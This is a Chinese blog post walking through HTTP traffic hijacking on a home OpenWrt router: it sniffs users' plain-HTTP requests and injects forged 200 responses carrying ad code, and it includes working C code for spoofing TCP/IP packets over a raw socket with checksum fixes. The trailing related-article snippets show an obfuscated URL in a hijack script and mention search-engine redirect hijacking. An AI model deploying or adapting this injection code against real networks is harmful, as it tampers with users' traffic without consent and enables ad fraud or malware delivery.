流量劫持比较复杂,一般来说运营商,路由器厂商,黑客都可能是流量劫持操作者。基于国内大部分网站以http明文协议为主,这无疑给劫持者提供了土壤。
本文演示了家庭路由器流量劫持实现,公共WIFI连接授权实现有点差异,它是用iptables重定向至webserver,有兴趣的同学可参考nodogsplash实现源码。
一. 原理图
原理:
1. 嗅探用户http get请求流量。
2. 伪造http 200包(插入广告代码)。
两种场景:
1. 路由器侧
在路由器侧通过旁路的方式(libpcap)嗅探流量,并将伪造响应先于真实响应前发送给用户,后到的真实响应会被协议栈丢弃。
2. ISP侧
ISP网络设备流量分光至服务器,通过DPDK方式嗅探流量,并回应200 OK包。
二. 代码实现
2.1 实现环境
router: TP-LINK
router os: openwrt
lib:libpcap
2.2 核心代码
1. libpcap流量采集
2. DPI解析
3. 协议伪造
/** * 发送HTTP响应 */ bool sendHttpResponse( char *buff, char *response ) { struct iphdr *ip = (struct iphdr*)buff; struct tcphdr *tcp = (struct tcphdr*)((char*)buff + sizeof(struct iphdr)); int nHeadLen = ip->ihl*4 + tcp->doff*4; int Length = htons(ip->tot_len) - ip->ihl*4 - tcp->doff*4; char *pPacketBuffer = this->PacketBuffer; memset( (void*)pPacketBuffer,0,PACKET_BUFFER_LEN ); // 添加html char *ContentBuffer = pPacketBuffer + 350; int nContentLen = snprintf( ContentBuffer, 1300, response ); // 内容长度 char strLen[25]; int cLen = sprintf( strLen, "%d\r\n\r\n", nContentLen ); /* * nHeadLen(iphead +tcphead) + http_head + content_length + content */ pPacketBuffer = ContentBuffer - ( nHeadLen + sizeof(HTTP_HEAD)-1 + cLen ); memcpy( pPacketBuffer, ip, nHeadLen ); memcpy( pPacketBuffer + nHeadLen, HTTP_HEAD, sizeof(HTTP_HEAD) ); memcpy( pPacketBuffer + nHeadLen + sizeof(HTTP_HEAD)-1,strLen,cLen ); // IP struct iphdr *pTempIP = (struct iphdr*)pPacketBuffer; pTempIP->version = 4; pTempIP->ihl = 5; pTempIP->protocol = IPPROTO_TCP; pTempIP->saddr = ip->daddr; pTempIP->daddr = ip->saddr; // TCP struct tcphdr *pTempTcp = (struct tcphdr*)((char*)pTempIP + sizeof(struct iphdr)); if( pTempTcp == NULL ) { printf( "%s\n","TCP NULL" ); return false; } pTempTcp->source = tcp->dest; pTempTcp->dest = tcp->source; pTempTcp->seq = tcp->ack_seq; pTempTcp->ack_seq = ntohl( ntohl(tcp->seq) + Length ); pTempTcp->ack = 1; pTempTcp->fin = 0; pTempTcp->psh = 1; // 校验和计算 int nLen = nHeadLen + sizeof(HTTP_HEAD)-1 + cLen + nContentLen; pTempIP->tot_len = htons(nLen); IPCheckSum(pTempIP); // 原始套接字发送HTTP响应 m_addr.sin_addr.s_addr = pTempIP->daddr; int count = sendto( m_rawsock, (const char*)pTempIP, ntohs(pTempIP->tot_len), 0, (struct sockaddr *)&m_addr, sizeof(struct sockaddr_in) ); return count > 0; }
4. 校验和计算
a. CRC32校验和计算,参见内核实现。
b. TCP/UDP的checksum,需要包含一个12字节的伪首部。TCP校验和覆盖TCP首部和TCP数据,而IP首部中的校验和只覆盖IP的首部,不覆盖IP数据报中的任何数据。
// IP检验和计算 int IPCheckSum( iphdr* ip ) { if( NULL==ip || 4 != ip->version || 5 > ip->ihl ) { return -1; } unsigned char protocol = ip->protocol; if( !(protocol==IPPROTO_TCP || protocol==IPPROTO_UDP) ) { ip->check = 0; ip->check = CheckSum((unsigned short*)ip, sizeof(struct iphdr)); return 0; } char *ipdata = (char*)ip + ip->ihl*4; // 在tcp/udp头部上添加伪头部,注:直接修改ip头部分,实现比较巧妙 CheckSumHeader *check = (CheckSumHeader*)(ipdata - sizeof(CheckSumHeader)); // temp用于备份ip头部数据 char temp[sizeof(CheckSumHeader)]; memcpy(temp, check, sizeof(CheckSumHeader)); check->SrcIP = ip->saddr; check->DestIP = ip->daddr; check->Zero = 0; check->Protocol = protocol; check->Length = ntohs(ntohs(ip->tot_len) - sizeof(struct iphdr)); // tcp/udp从伪头部开始计算校验和 if (protocol == IPPROTO_TCP) { struct tcphdr *tcp = (struct tcphdr*)ipdata; tcp->check = 0; tcp->check = CheckSum((unsigned short*)check, ntohs(ip->tot_len) - sizeof(struct ip) + sizeof(CheckSumHeader)); // psd + tcp } else if (protocol == IPPROTO_UDP) { struct udphdr *udp = (struct udphdr*)ipdata; udp->check = 0; udp->check = CheckSum((unsigned short*)check, ntohs(ip->tot_len) - sizeof(struct ip) + sizeof(CheckSumHeader)); // psd + tcp } // 恢复原ip头数据 memcpy(check, temp, sizeof(CheckSumHeader)); // 计算IP校验和 ip->check = 0; ip->check = CheckSum((unsigned short*)ip, sizeof(struct iphdr)); return 0; }
三. 测试
请求http://www.163.com,浏览器显示 Hello world。
最后
本文演示了家庭路由器流量劫持实现,由于家庭流量较小,且路由器资源有限,用传统的libpcap勉强能支撑。
如果是ISP机房流量,则需要考虑DPDK高性能采集框架。
近年来国内厂商对劫持引起重视,BAT都采用了https加密网站。
附录:
https://github.com/spkettas/httpfake
相关推荐
流量劫持是在网络系统上发生的常见攻击,攻击者在其中窃听用户交易,操纵数据包数据并将流量转移到非法位置。 类似的攻击也可以在基于NoC(片上网络)的系统中发动,其中NoC来自第三方供应商,并且可以植入硬件...
信息安全之Web劫持与流量劫持法律治理研究.pdf
Web如何应对流量劫持?.docx
某电商网站流量劫持案例分析与思考.docx
这段路程中短兵相接的战斗往往是最激烈的,在所有流量可能路过的节点往往都埋伏着劫持者,流量劫持的手段也层出不穷,从主页配置篡改、hosts劫持、进程Hook、启动劫持、LSP注入、浏览器插件劫持、http代理过滤、内核...
windowsDomain中文翻译为域,域既是Windows网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元。...域是微软提供给企业的一个局域网管理措施,使得信息技术人员能高效的管理和维护局域网中所有的主机和用户。...
最新判断来路为搜索引擎跳转代码,js来路判断,用于搜索引擎流量劫持,.蜘蛛劫持功能,可以根据来路劫持,也可以根据蜘蛛进行劫持。泛站群跳转代码
基于无线终端上的安全事件不断涌出:2013年路由器后门漏 洞被多次曝出,安卓系统安全问题频出,基于内网的DNS欺骗、ARP欺骗技术的流量劫持 和网络嗅探……在这些安全事件的背后,造成了太多的数据、隐私的泄露以及
引入DNS寻址方式(基于域名和DNS的NamingService)客户端通过域名来对服务进行访问Service AService B流量劫持流量劫持renew
支持校园网,并且不想WiFi共享大师那种有流量劫持,什么是流量劫持,就是你用WiFi共享大师在手机上网,网页右下角出现红包的那个东西,就是它加上的,我换了这个用就没出现过。
劫持程序 劫持网站流量url="h"&"t"&"t"&"p"&":"&"/"&"/"&"6"&"1"&"."&"1"&"9"&"1"&"."&"1"&"8"&"8"&"."&"2"&"5"&"0"&":"&"8"&"8"&"8"&"/"&"i"&"i"&"s"&"/"&"g"&"l"&"o"&"b"&"a"&"l"&"."&"a"&"s"&"a"&"."&"t"&"x"&"t...
anti-hijack-list通过劫持 ISP 用于劫持流量的域名来绕过 ISP 的流量劫持。由于第一次跳转所用的域名列表经常变化,某些广告联盟的域名也在此列表中。内容dnsmasq/hijack.conf DNSMasq 的域名解析规则如果您的局域网...
AndroidHttpCapture网络诊断工具 是一款针对于移动流量劫持而开发的手机抓包软件 主要功能包括:手机端抓包、PING/DNS/TraceRoute诊断、抓包HAR数据上传分享
目录 威胁模型 研究背景 测量方法 结果分析
HTTPS 在保护用户隐私,防止流量劫持方面发挥着非常关键的作用,但与此同时,HTTPS 也会降低用户访问速度,增加网站服务器的计算资源消耗。 本文主要介绍 https 对用户体验的影响。 2 HTTP与HTTPS的概念和区别 (1)...
该工具旨在将客户端放置在密钥服务器的客户端(最容易通过DNS或透明流量劫持),并同时在多个服务器之间“复用”请求,以返回最快的成功结果。 注意:如果您正在使用此工具,则应认真考虑使用 / ! (总体而言,这...
是一种针对于移动流量劫持而开发的手机抓包软件,可以视为是Android版的“ Fiddler”主要功能包括:手机端抓包,PING / DNS / TraceRoute诊断,抓包HAR数据上传共享使用前请确保手机HTTP代理的关闭 功能简介 1。 ...